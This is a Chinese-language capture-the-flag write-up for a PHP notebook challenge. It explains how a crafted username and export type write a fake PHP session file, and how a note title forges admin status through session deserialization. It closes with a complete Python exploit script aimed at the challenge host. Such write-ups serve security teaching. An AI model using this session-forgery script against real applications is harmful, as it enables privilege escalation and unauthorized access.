#题目
*有源码,是一个笔记本系统
*在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证
*点击get flag提示不是admin
#flag.php
<section>
<h2>Get flag</h2>
<p>
<?php
if (is_admin()) {
echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";
} else {
echo "You are not an admin :(";
}
?>
</p>
</section>
需要满足is_admin()函数才会给你flag
那我们去看一下is_admin()方法
好像也没有什么东西
-
session 文件以
sess_
开头,且只含有a-z
,A-Z
,0-9
,-
-
看到
$filename
处可以满足所有的条件 -
构造
user
为sess_
,type
为.
,经过处理之后,$path
就是TEMP_DIR/sess_0123456789abcdef
这就伪造了一个 session 文件 -
然后向这个文件写入 note 的
title
-
php 默认的 session 反序列化方式是
php
,其存储方式为键名+竖线+经过serialize函数序列处理的值
,这就可以伪造admin
了 -
在最后,它会将构造的
$filename
返回,这样就可以拿到构造出的 admin 的 session 数据
session 伪造,session 反序列化
import re
import requests
URL = 'http://32992b00-dbfe-47e5-ac0f-4657682bfb40.node3.buuoj.cn/'
while True:
# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
'user': 'sess_'
})
# make a crafted note
sess.post(URL + 'add.php', data={
'title': '|N;admin|b:1;',
'body': 'hello'
})
# make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
print(r)
sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
print(sessid)
# get the flag
r = requests.get(URL + '?page=flag', cookies={
'PHPSESSID': sessid
}).content.decode('utf-8')
flag = re.findall(r'HarekazeCTF\{.+\}', r)
if len(flag) > 0:
print(flag[0])
break
替换session
文章来源peri0d师傅!